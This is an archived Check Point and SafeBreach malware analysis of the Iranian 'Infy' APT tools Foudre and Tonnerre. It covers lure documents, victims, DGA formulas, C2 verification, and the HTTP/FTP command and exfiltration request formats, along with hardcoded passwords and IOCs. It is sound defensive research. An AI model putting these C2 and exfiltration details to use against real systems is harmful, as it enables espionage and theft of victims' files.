

# After Lightning Comes Thunder - Check Point Research

By etal

Published: 2021-02-08 · Archived: 2026-04-05 14:25:56 UTC

## The Most Persistent Iranian APT Rumbling Again

By: Safebreach Labs and Check Point Research

### Summary

Cyber warfare has long become a common practice in the arsenal of governments, armies, and intelligence agencies around the world. What once used to be a black art, reserved to the elite of the elite and conducted by few, has now become a land of opportunities for almost any government around the world. Iran is no exception to this trend, with new discoveries made every year repeatedly attributed to the Islamic republic.

One of the earliest Iranian cyber operations that was ever brought to light was “Infy” (aka “Prince of Persia”). Evidence for activities of this operation dates back to 2007. This cyber operation was very active since its early stages, and was shown to target victims mainly in Iran and throughout Europe, and was likely a government-backed operation.

In this research, which is a cooperation between [SafeBreach Labs](#) and Check Point Research, we identify evidence of renewed activity by this operation. It seems that following a long downtime, the Iranian cyber attackers were able to regroup, fix previous issues and dramatically reinforce their OPSEC activities as well as the technical proficiency and tooling capabilities.

This report will shed new-light on this long lasting Iranian cyber operation – revealing new techniques used, the underlying infrastructure, stealth techniques and other new elements of this actor’s *modus operandi*.

#### Key findings:

1. A new, previously unknown, second stage malware with extended capabilities.
2. A more mature form of the known “Infy” malware family.
3. A review of recent C2 infrastructure including HTTP/FTP servers and RSA signatures.

### Background

In 2016, Palo Alto Networks’ Unit 42 [discovered Infy](#), an APT which was presumed attributed to Iran and had an interesting choice of targets, amongst them US Government and Israeli companies. The operation’s activity had been traced all the way to 2007. At the time, Qi-Anxin focused on a specific attack targeting Danish diplomats, and named the attack [Operation Mermaid](#), which covered the same methods and infrastructure.

After the publication, Unit 42 decided to conduct a [takedown operation](#). This gave the researchers more visibility about the origin of victims, the motive of the attackers and the scope of the attack. The data gathered reaffirmed the Iranian connection – most victims were either in Iran, or were Iranian dissidents, and the attackers did not seem to be financially motivated. As a result of the takedown Infy lost access to almost all of the campaign victims.

[Research](#) by Claudio Guarnieri and Collin Anderson elaborated more on the Iranian attribution.

The threat group compromised two news websites related to Jundallah as early as 2010, and exploited ActiveX vulnerabilities to attack the websites’ visitors. Infy seemed to have operated heavily around the 2013 Iranian Presidential elections, targeting Persian press members (such as BBC Persian), and resumed attacking civil society members and activists afterwards.

Guarnieri & Anderson also observed that after the takedown by Palo Alto Networks, the Telecommunication Company of Iran blocked and redirected any traffic originating from Iran and aimed at Palo Alto’s sinkholes. This was probably a deliberate attempt by the actors to reduce visibility and regain control of the victims. This is not an ability demonstrated by most threat actors (indeed, we are hard-pressed to find precedent for it), and it suggests a potential connection to the Iranian government.

Following these events, the operation wound down until August 2017, when Infy’s activity was [observed again](#), this time through the use of a new malware dubbed **Foudre**.

### Recent activity – lightning strikes again

During the first half of 2020, new versions of Foudre emerged with new documents designed to lure victims. These operated in a slightly different manner than before – instead of having the victim click on what appears to be a link to a video, the malware would run a macro once the victim closes the document.



Figure 1: Full infection chain.



Figure 2: Example of a document sent to potential victims.

One document (Figure 2) contained a photo of Mojtaba Biranvand, the governor of Dorud city in Lorestan Province, Iran. The document is in Persian and includes information regarding the governor's office and his phone number (the number actually belongs to a [lawyer in Lorestan](#)).

Another document, also in Persian, contains the logo of ISAAR, the Iranian government-sponsored Foundation of Martyrs and Veterans Affairs which provides loans to disabled veterans and families of martyrs.



Figure 3: ISAAR document sent to potential victims.

When the victim opens the document, a macro extracts the embedded package to the temp directory as fwupdate.temp and executes it after the document closes.

In 2018 [Intezer](#) covered Foudre **version 8**, which contained a certain sample labeled *unknown binary* that was not explored in Intezer's research. In fact, this was a new component — called **Tonnerre** — which was a new step in the evolution of Infy, and contained various functionality absent from Foudre alone.

## Victims

We used several methods to try and determine the current victims of Foudre & Tonnerre.

The first was registering the DGA domains ourselves, and listening to coming connections with the parameters the malware sent. We filtered out repeat connections, which were uncommon to the malware (these could indicate traffic generated by researchers – we can only speculate). Only a few dozen victims contacted our servers.

A curious point is that none of these victims were Iranian, which may indicate the attackers learned from the takedown and had the DNS records in Iran changed preemptively (although this, again, is purely speculation).

The second method we used to probe the campaign was passive DNS. That way we were able to see a broader scope of the attack. For example, we could see if some IP address was the origin of several resolution requests in succession, and in some cases if the connectivity check occurred right before attempting to connect to the C2 server. Ignoring traffic which doesn't correlate with the correct dates for the domain, we were left with a handful of new victims. Two targets with persistent connectivity, as well as a connectivity check prior to contacting the C2, were in Turkey – one belongs to a University, and the other belongs to a state owned investment bank.

Below is the distribution of victims by geolocation. These correlate with previous findings on Infy, except for the glaring absence of Iranian victims.



Figure 4: Victim distribution by country

**Foudre Known Versions**

<u>Version No.</u>	<u>Timestamp</u>	<u>Notes</u>
<b>Foudre 1-2</b>	February 2017	Discovered by Palo Alto in 2017
<b>Foudre 3</b>	October 2017	
<b>Foudre 7</b>	Probably April 2018	Newly discovered
<b>Foudre 8</b>	August 2018	Discovered by Intezer in 2018
<b>Foudre 20</b>	April 2020	Newly Discovered
<b>Foudre 21</b>	July 2020	
<b>Foudre 22</b>	October 2020	

**Foudre Version Differences**

Most differences include minor technical detail, such as Window names, Export function names and strings. However the latest versions of Foudre include some key differences:

- **DGA Formula** – The updated algorithm for generating domains computes a CRC32 of the string `NRV1{ }{ }{ }.format(date.year, date.month, weeknumber)` , with a start date of December 27, 2018. The possible TLDs are: `.space` , `.net`, `.dynu.net`, `.top` . This is probably to evade detection of security vendors who are using the previously published DGA.
- **C2 RSA Verification** – Foudre verifies the server is authentic by downloading a signature file, signed by the server and verifying it. This makes the operation more resilient against third-party takedowns.
- **Foudre string not present** – In previous versions the window which was used for keylogging was named “Foudre”, which brought the malware its name. In the latest version, this was changed to “Form1”. This change could help the malware evade signature detection (and generally, this sort of thing should be kept in mind when writing signatures).



Figure 5 – Foudre version 20.

### Embedded articles

One of the discoveries that caught our eye during the analysis was a unique piece of text embedded in each of the binaries. This text was copied from various media websites from around the time when the binary was released. This finding can confirm that the date of the sample is at most as old as those articles.

Foudre version 21 included a text from an [article](#) published on July 29.



Figure 6 – July 2020 article embedded into Foudre version 21

Foudre version 22 had the next message, coming from an article published by the [BBC](#):





Figure 7 – October 2020 article embedded into Foudre version 22

After connecting to the C2, Foudre downloads an encrypted self-extracting archive (SFX), and then decrypts and runs it. The SFX includes an executable and an RSA public key.

**Tonnerre – Second-Stage Payload**

Foudre’s new versions were downloading Tonnerre 11 as the payload, but the first two versions were also tracked. Version “10” is actually the earliest sample, which was dropped by Foudre 8. For more information, see Appendix B.

<u>Version No.</u>	<u>Time of emergence</u>	<u>Notes</u>
<b>10 – MaxPinner</b>	August 2018	From Foudre 8
<b>1</b>	September 2018	Newly discovered
<b>2</b>	March 2019	Newly discovered
<b>11</b>	Probably July 2020	Newly discovered – latest version

Tonnerre is used to expand the functionality of Foudre; possibly its functionality was put into a separate component to make sure it is deployed only when needed, and meets fewer prying eyes. Like Foudre, it is written in Delphi.

Its capabilities:

- Steals files from predefined folders as well as external devices.
- Executes commands from the C2 server.
- Records sound.
- Captures screen.

The executable is exceptionally large at 56Mb, and camouflages itself as legitimate software.

Version 1 is camouflaged as “SilverSoft Speed”, and version 11 as “Synaptics”.



Figure 8 – Tonnerre v.1 – Silversoft Speed.

Like Foudre, Tonnerre has embedded strings from news articles which reinforces the notion that both tools come from the same developers.



Figure 9 – Tonnerre version 11 hardcoded strings.

Similar to Foudre, Tonnerre uses a DGA to find its C2, and verifies it as a valid server using an RSA signature, which is decrypted with the public key from the SFX.

Tonnerre uses this C2 to:

- Store general metadata about the victim
- Steal files with predefined extensions
- Download updates.
- Get an additional C2.

The second C2 is used to store the stolen data, and it can also provide a list of commands to run.

Communication to the first C2 uses HTTP, whereas the second C2 communicates using FTP. The FTP password is hardcoded in the malware, but the username is the name of the victim's computer, which was previously sent to the HTTP C2.

## Appendix A – Tonnerre deep dive

### Forms

The malware contains 5 Delphi forms, with each one responsible for a different capability:

**Form1** – Malware Installation and upgrading process.

The malware runs for the first time with param /set <machine GUID in hex>, creates an installation folder and copies itself as helper.exe. The second installation stage creates a link and runs its persistence mechanism:

- A scheduled task for helper.exe -ex <machine GUID in hex>.
- Registry "Run" key.

Running it with a wrong GUID, or on another machine will fail because the malware verifies that GUID value. It also verifies that the "Deep Freeze" process is not running, otherwise Tonnerre exits immediately.

Tonnerre also checks for the presence of Kaspersky endpoint protection by looking for a "Kaspersky Lab" folder under %programfiles%. If this folder exists, the malware tries to bypass detection by performing a sleep cycle after setting its persistence.

**Form2** – Collects files from predefined folders – **Documents, Downloads, Pictures** and more. It also sets a notify event for specific file types like MS Word files.

Files are also collected from network shares using WNetOpenEnumW and WNetEnumResourceW functions from mpr.dll. Print screens are also collected if the screen saver is not active at the moment of checking.

**Form3** – Connects to an FTP server to exfiltrate collected data and get further commands.

**Form4** – Collects files from removable devices for exfiltration. This is done by monitoring WM\_DEVICECHANGE messages and enumerating the devices.

**Form5** – Uses the [lame](#) command line tool to record sound. This is somewhat similar to another Iranian attributed APT, [Nazar](#), which used it as a DLL. Despite this similarity, there doesn't seem to be a link between the groups. The exact command line is: `lame.exe -b 8 -m m rvfrc8.tmp fcvd10v.tmp`

## C2 Communication

### DGA

The dga start date is 12/25/2017 with the next TLDs: `' .site', '.com', '.win' .`

The domain is decided by the next formula:

```
"NITV1{}{}{}".format(date.year, date.month, weeknumber)
```

One of the generated C2 servers is `638ffe48.site` . Like all other domains since March 2020, this was resolved to the IP address `185.141.61[.]37` .

The malware uses <http://www.france24.com/en/top-stories/rss/> to get the current date for the DGA.

### Receiving Executable Updates

First, just like Foudre, the malware verifies the HTTP C2 server by downloading a signature file using the next GET request:

```
/s/?d=<days from first date>"&t=<timestamp>"
```

Next, after verifying the C2, the malware downloads the second signature file.

```
GET /2017/?c=<comp-name>&u=<user-name>&v=00011&f=fdir1&mi=<machine-guid>&t=<timestamp|> HTTP/1.1
```

The C2 server responds in a location field: `update32.sig`.

The sig file is downloaded from `/2017/update32.sig`

Finally, a request is sent to `2016/update32.tmp` (this URL was not responsive when we checked). An SFX is downloaded, decrypted and executed, with a random looking password (in our case it was `TtckjcAa54cE` ).

### Getting the FTP Server

The malware gets the C2 FTP server IP address by performing the next request to the C2 server:

```
GET /f/?c=<computer-name>&mi=<machine-guid>&t=<timestamp> HTTP/1.1
```

The C2 uses the same HTTP redirection with this response format:

```
<year><days since last first dga day><.tmp>
```

For example: `2020209.tmp` .

It then performs a GET request to `/f/2020209.tmp` . Example for a downloaded file:

```
266/:5/321/93
AVqG0THK6ZAbnNtvg091HkXUUBw2UYho18bjE9f6ILDw9SYCEPR0R1TS6+4H/UpjrV3Z+m0BpEaxdWW9quL9pDNYS7LkZOWx2G18JI8X/awwC+yQoL2wC6aGZnBU+gSBAtK3NrerV
```

```
69
```

```
1512
```

```
443
```

This file has 3 parts:

1. The obfuscated FTP server. The IP could be retrieved easily using a python one-liner: `print(bytes([ch-1 for ch in b'266/:5/321/93']))` which gives `155[.]94[.]210[.]82`.
2. An RSA signature of the FTP server.
3. List of open ports on the FTP server.

From this point on, the malware uses that server to fetch its next command. After executing the command, the output is uploaded using FTP as well.

### FTP Protocol

#### Login

The malware connects to the FTP server using its computer name as the username and one of two fixed passwords: “tpass15A42” or “tpass14A43”. The password can be decoded using the same Python snippet used for getting the FTP server.



Figure 10 – Deobfuscated FTP passwords.

### **Command Execution**

Command execution process is done by downloading a command file from the FTP server. We were able to enumerate the following commands:

- MyIdle
- MyDelete
- MyRename
- MyRun
- MyEndTask
- MyZip
- MyShell
- FTP – GET
- FTP – PGET – get multiple files.
- FTP – PUT – upload a file.
- FTP – upload dirlist (using FTP put)

### **Dual Data Exfiltration**

Exfiltration of data which was collected based on the C2 server command is performed via FTP.

Exfiltration of data collected otherwise (built in Tonnerre logic) is performed via HTTP POST request:

POST /blog/?<timestamp> HTTP/1.1

And the next data fields:

c=<computer-name>&u=<user-name>&v=00011&f=fdir1&mi=<machine-guid>&txt=<exfil data>&e=EOF

The C2 server response for a valid exfiltration is misleading:

“There is a problem, the page you requested does not exist”

There are also custom 404 error response messages when requesting a valid directory in the server:

“Not Found

The requested URL was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.”

Tonnerre searches for files based on the file extension:



Figure 11 – file types Tonnerre exfiltrates

### Exfiltrated files

An example of the name of the file format is:

```
<file name crc32>-<file size>-<modified timeStamp>-<created timeStamp>
```

e.g. `ceb60f97-53807-1597696028-1360110435`

The exfiltrated data is in a format of a WideChar array, and should end with the following suffix: `<Computer name><user-name><version><directory><machine-guid><exfil file path>`

The data also should be base64 encoded before put into the message body.

The content is – base64 encoded zlib encrypted file content and after it the file’s metadata in hex:

Computer name, username, Tonnerre version, uploaded dir in c2 server, machine GUID and file path in the victim’s machine.

### File and input capture and collection

The malware creates several directories to store the stolen files:

“R”, “F”, “H”, “V”, “S”, “G”.



Figure 12 – The list of directories used for exfiltrated data: R,F,H,V,S

**G = Grabbed (files from recycle bin)**

.doc files grabbed from the recycle bin.

**F = Fixed (all .doc files from supported drive types)**

The drive types that are supported: fixed, remote, ramdisk, removable

**S = Screen**

Saved as psf files (Print Screen File).

**H – files from predefined folders and network shares**

Files from user directories (downloads, pictures, contacts) and from network shares are saved in H.

**R = Recent files**

Files that were written to the “Recent Items” folder, as enumerated in the  
`Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Recent` registry key.

**V = Voice Recording**

Used for the voice recordings generated by Form 5.

## Appendix B – Foudre deep dive

### Foudre version 20-22

#### C2 Protocol

As we showed previously, the C2 server is first authenticated by downloading a signature file obtained by querying the next HTTP GET request:

```
GET <C2 server host name>/de/?d2020209.sig&v=00020&t=<timestamp> HTTP/1.1
```

The server does HTTP redirection with the following value:

Location: <C2 server host name>/2020209.sig

This creates a GET request on this location:

```
GET /de/<C2 server host name>/2020209.sig HTTP/1.1
```

After the C2 server is verified as trusted, the malware checks for new versions of the malware by trying to download a second signature file.

This is done by the next GET request:

```
http://<C2 server host name>/2015/?c=<computer name>&u=<username>&v=00020&  
s=Test2018f=datadir1&mi=<machine guid>&b=<os 64/32 bit arch>&t=<timestamp>
```



Figure 13 – July 2020 article embedded into Foudre version 21

The C2 server returns a signature file named t00011-3.sig, which refers to Tonnerre version 11.  
The final step is performing a request to download the latest version of the malware:

```
GET /2014/t00011-3.tmp HTTP/1.1
```



Figure 14 – July 2020 article embedded into Foudre version 21

The server responds with an encrypted RAR SFX file with the password RBA4b5a98Q.  
After decryption, we got the Tonnerre malware version 11 and a public key file.  
The size of the malware is 56MB, an unusual size for malware samples and which may allow it to avoid detection as many vendors ignore large files and won't scan\monitor them.



Figure 15 – t00011.tmp – SFX file

Tonnerre 11 is the latest version served from the c2 as of our research. It has been using the exact same update file since at least as early as 27/7/20, and until at least as late as 14/11/20.

The path of the embedded object C:\Users\Alex\AppData\Local\Microsoft\Windows\INetCache\Content.Word\ was also used in an earlier Word dropper which drops Infy version 21:



Figure 16 – The embedded path into Version 21 document

### Campaign Names

When we observed the HTTP requests, we could see the subject name "**TehN005**" which seems to have served as a sort of campaign ID:

```
hxxp://35b268a6.top/2015/?c=<computer-name>&u=<user-name>&v=00022&s=TehN005  
&f=datadir1&mi=<machine-guid>&b=64&t=<timestamp>
```

Foudre Ver. 1 – **2017FSU**

Foudre Ver. 2 – **17weh44 – (probably 2017 week 44)**

Foudre Ver. 3 – **af17818 – (probably 18/8/17)** – was downloaded from the C2 [http://eab6ff48\[.\]stream/update/af17818.tmp](http://eab6ff48[.]stream/update/af17818.tmp) resolved to [185.148.144\[.\]13 \(VirusTotal\)](http://185.148.144[.]13) which also resolved to eab6ff48.dynu.net. This means that Foudre was downloaded from an additional host name <dga hostname>.streamWas probably sent by email – (virusTotal 2017-10-06 14:13:29 59bbae76 – email)

Foudre Ver. 4/5 – **DynuSub** (probably refers to the C2 domain **dynu.net**)

Foudre Ver. 7- **S180313** – (probably 13/3/18)

Foudre Ver. 11 – **Rec11-1** – (probably Recording version 11)

Foudre Ver. 20 – **Test201** (Test 1 version 20)

Foudre Ver. 21 – **TehN002** – (probably version Number 2)

Foudre Ver. 22 – **TehN005** – (probably version Number 5)

### SFX File

The executable file dropped by the above macros is an SFX File – Self-Extracting archive. When we decompress it, we get an extraordinary executable size – 275 MB.



Figure 17 – SFX content of Foudre 21

It uses rundll to load “conf4389.dll” (Foudre loader), which in turn runs DLL “d488” and calls an exported function named “f8754”. The loader also creates a persistence mechanism by scheduling a task to run itself again.

### Foudre 8 – Tonnerre first occurrence

As mentioned previously, Tonnerre was already deployed in Foudre version 8 that was featured in Intezer’s publication.

The attack vector chosen was an SFX embedded into an office document. In the later versions that we analyzed, the contents of the SFX were different.



Figure 18 – Content of Foudre 8 SFX

c38533b85e4750e6f649cc407a50031de0984a8f3d5b90600824915433a5e218

The new SFX includes the following files:

- **I7234.dll** is the initial loader.
- **d388** is the first loaded dll as Foudre version 8.
- **dfpbptge.tmp** is a sample with different capabilities which is the successor of past “Infy M” – used as a second stage payload.



Figure 19 – dfbptge.tmp – Tonnerre/“Max Pinner”

This loader executes what was defined by Intezer as an “unknown binary”. The execution of this binary happens only in the absence of the process “**dfserv.exe**”, which belongs to Faronics’ [Deep Freeze](#).

The payload also checks if previous versions of this malware family are already installed on the victim’s computer. The check is done by searching for the window name **Tonnerre** from version 1 to 9.

The C2 server has a fixed hardcoded address instead of the usual DGA algorithm used by Foudre. The decrypted C2 is `pinner.website` which probably explains why this version was named MaxPinner internally.



Figure 20 – dfbptge.tmp – Tonnerre appears for the first time.



Figure 21 – dfbptge.tmp – fixed C2 server – pinner.website.

#### **Foudre 7 – previously unknown**

The sfx is quite different from other versions:

It includes a white picture image file Thumbs.bmp which has a size of 63M probably to increase the size of the SFX. There is also a third dll, “r3066”, which is just used to call the D2 export of the main Foudre’s dll d392 instead of calling it from the loader dll i7765.dll.

The decoy movie is violent and is called shkanje46.mp4, which in Persian means trigger46 (another hint for the attacker attribution and the native language of the victim).

Foudre 7 is the last version that used obfuscation of strings.



Figure 22 – Content of Foudre 7 SFX

## **Appendix C – IOCs**

### **Hashes**

**Foudre 3 dll**

CBA270CBB084929E51BCF68145992FF3DD048887F4B9ED3A54970F1151BB1FDF

**Foudre 4 dll**

00cfef0d163b6cb312c07b4b49bd230121db15433204bc674350a8126665ba0f

Fcd23c3e7e4027425786d4dfdf6e56912ad59bc5db935d32bf877b34bb7e4a86

bebfbc715a0236b4fd93347f69c93aae34acbb6f9f9555284edf22378fbeb86a

**Foudre 5 dll**

e6eed21fa1c9dc28b140a4b7633636461eefaeab214647f53d3b666158c28674

fa48da8189b9f4dd8ad011a0bac135ae82f9d493d6a9feeee5ac1abeae8ce202

**Foudre 7 dll**

4BA5192DAB8C27DB8BBA0E5B9D6887EA81299C88536FA590735E55B88AAACE759

**Foudre 11 dll**

20ffed3d57e4a49d0e20f18283ae7e5e5a7ef3249be3f04b50e78f10ec8b8989

**Foudre 20 dll** 941CA9F74FBC5E73C9C8248548C1F0D1ADC646126EE6C45A0CE34FE39A52F030

**Foudre 21 dll**

0B094D25E97CC254A53BEC0943D682C1EEBBF7437067B14C7B71619110DFAF83

**Foudre 22 dll**

6931EE281C895BB9446689C8CB648E2ED353B06D454CFB4418490EF82CA07BF1

4853a8acc62d6586edd30dcb97ffa82c5f65460708fd3a969c88e29f99160

impHash Foudre version 21-22 dll

[78d9bed21db68b9d8c53b8f62bc5314f](#)

**Tonnerre 1 exe**

E124c048f5ddf2d9af6dcb6f8a70d6a2b2f79a0ba9486b17b52baae98d8d23de

**Tonnerre 2 exe**

6254613570fb43ae1b95bc08868a6023c2c04f8b69fe3e5ce0ffb6db273afddc

**Tonnerre 11 exe**

82D370D941FCDE13DFC568FDCA007BF469E5900B6F6B93C1829AB0CC7ED0F56C

**Malicious Word doc with macro dropper**

**Version 22 dropper** b97960c29b7c8234981728b80060a42dbe32bf625b052854a6cc2175467cca89

**Version 21 dropper** ccbda8a84dbeda1a66780c76fd9f507778c9fb992c7eee87e99cc3ca314009ee

**Foudre SFX**

Version 3

160bb722bd70b70c3e993c8eba59d8cf8117899073a4a6e42b0240d858a98dad

Version 7

97dfd41db47149a815f59eae44b490ba10af588b69fba2a84d7a2ae448a37a0

Version 21 A64EDB19E71549FB9248B27B58F911A4A1E8CD8B8E4ADFF93ECFB7E15A3CDAD7

version 22

F535b46ad2452d61282f615faf35993e83b6c56c9533bf22c12f97f318242e06

**Foudre Loaders**

**Version 7**

Version 21 conf3234.dll

F48CC6F80A0783867D2F4F0E76A6B2C29D993A2D5072AA10319B48FC398D8B7A

Version 22 conf4389.dll  
9F64EC0C41623E5162E51D7631B1D29934B76984E9993083BDBDABFCCBA4D300

Version 22 identical to conf4389 but chopped suffix (1.1M instead of 4.3M)  
7ac73f2e5ea0ca430cf21738d3854b8a5b6a25ae4a85d140fc7e96cb87f7e2ea  
All have imphash: 39507b319f55d0fec705f6dea39a0dfb

#### **Tonnerre SFX**

21265793D0B91845145EA37BE68627855503C5505248C3CA31399CB3A9C288B4

#### **Tonnerre cert file**

87C70DA933731D0E0AC58EAD236E0FB21F2A7E1BBEEAF37EE78D0DFBD70FD961

#### **Domains**

##### **Foudre 20 C2 domains:**

2020-11-03 35b268a6.top  
2020-11-03 35b268a6.space  
2020-11-10 1e9f3b65.top  
2020-11-10 1e9f3b65.space  
2020-11-17 07840a24.top  
2020-11-17 07840a24.space  
2020-11-24 801c16eb.top  
2020-11-24 801c16eb.space  
2020-12-01 8bb28844.top  
2020-12-01 8bb28844.space  
2020-12-08 5bb2593a.top  
2020-12-08 5bb2593a.space  
2020-12-15 42a9687b.top  
2020-12-15 42a9687b.space  
2020-12-22 69843bb8.top  
2020-12-22 69843bb8.space  
2020-12-29 709f0af9.top  
2020-12-29 709f0af9.space

##### **Tonnerre 11 C2 domains:**

2020-11-03 a74d1205.site  
2020-11-10 3e4443bf.site  
2020-11-17 49437329.site  
2020-11-24 d9fc6eb8.site  
2020-12-01 acbde077.site  
2020-12-08 cc7a6992.site  
2020-12-15 bb7d5904.site  
2020-12-22 227408be.site

#### **IP Addresses**

#### **HTTP Servers**

## **Foudre**

172.96.184.191 – active since 15/12/2020

185.56.137.138 – was active until 15/12/2020

185.28.189.215

185.61.154.26

198.252.108.158

## **Tonnerre**

93.115.22.216 – active since 6/1/21

185.203.116.111 – active until 6/1/21

185.141.61.37

185.206.144.175

## **FTP Servers**

54.37.60.199 – new server since 30/12/20

54.36.40.208

79.137.24.207

155.94.211.212

155.94.210.82

## **RSA Certificates**

### **Tonnerre Public Certificate file content**

4E 0A 4C 6F 63 6B 42 6F 78 33 01 00 00 00 03 00 01 00 00 51 F0 00 D8 97 48 C7 5B 0A BF F4 98 AB C6 1F 28 13 FC  
D7 C5 5E E4 A6 71 E5 41 8E F4 8D 41 BD 8F 4C E3 EF 3F FC 8C BD B9 4F 55 F6 E5 0F 83 D9 D3 D4 56 FC DC D0 BE  
5B 5F 29 37 0F 87 43 5E D0 1C 2F 49 8D 2F 88 49 A3 88 DA 4A CE 37 95 81 6C C1 DF 40 1F 43 27 6C A6 11 57 E1 8B  
BA B2 1A 9F 1D F0 F5 C0 18 64 6F CB D0 07 8A 9C 39 87 A3 77 0E 33 C2 6F 6E FA 89 73 9B 4A 92 90 79 58 07 F4 79  
A9 0F 30 9D 9C 28 24 3E 3B 6B 3B 69 87 14 AF 99 FC 9F 24 47 BC BB 2A A1 2A 68 4F B4 5E E5 E5 5C C8 24 DA D6  
8B 40 F2 5E EA D5 C9 EE 42 5D B0 43 A4 C3 EE 91 8E 54 AE E8 A0 26 4C 11 8F 23 1C 71 43 73 07 99 98 9A 00 59 8A  
96 42 0F C1 15 A4 E0 39 0F 17 E6 17 7B B6 54 1D 83 61 A1 8F D2 1A 72 04 33 67 C6 92 7E 2B F6 C2 24 C6 92 D9 94  
19 09 8C 5C 5C 2A 4E 6A AD F6 EA CD 33 5F 6C E5 40 BC 03 00 00 01 00 01 4E 0A 4C 6F 63 6B 42 6F 78 33 01 00  
00 00 03 00 01 00 00 3B 88 FB D8 1F C2 3F 35 1F 2D EB 36 D6 16 C2 DE 64 2C 5A 8C 6F FD 0E B7 DB 17 37 D4 1A  
1A 55 A7 A5 0B 28 F3 01 31 EE 5C A5 5B 50 69 E5 94 63 95 2C 9D E4 1D D7 3A 87 36 C7 AE 81 80 F0 25 6A 7C BB 48  
CE 9D E3 74 13 B4 7C 15 56 62 08 5C AB F2 4B 68 2A C3 60 80 CB 2F FD 88 85 32 63 43 9C 47 90 89 2A A3 CF 5A 89  
A5 69 19 9E 81 94 0C 3C 7E 9B A6 80 95 CC 01 CF D4 44 6F FA CC E1 07 0D 17 24 EB 97 6C 8D CC 35 0A C0 51 12  
F4 C8 E7 E9 1F 4C 42 50 DE 5C 8A 94 24 71 8A C9 B2 D0 C5 75 0B 82 1C 36 5A C6 B9 10 B4 6E 21 F3 FD E8 B1 A5  
4A C8 DA 4B 74 99 F8 29 47 0C 5E E4 EC 9F DD AD FA 38 11 BB 2C 14 A9 C4 CE B5 FF 8A 5F DC 56 71 01 47 D9 58  
43 75 3C 3B C4 F1 9C 5F 0B 47 0F 62 63 84 CC CB 2A 52 1C B2 B2 0E A1 02 CD F1 6A 4E 37 9E 88 C5 ED FE E1 1F  
47 84 8F C8 63 0B 24 69 8F 03 00 00 01 00 01

### **Foudre 20 embedded public key**

WoerfulTgpMb2NrQm94MwEAAAADAAEAABXerthNt8KS196wHV642+QKKJC26QULY0Ed+Qqu6m0VBNHVBWpQ0cR0Pg0oKU4ibJR9ZntJGJbBUdW+8yKxY2iB7WNay98Y+01IvGgP+

### **Checking connectivity and current date**

www.msn[.]com

www.breakingnews[.]com/feeds/rss

www.france24[.]com/en/top-stories/rss/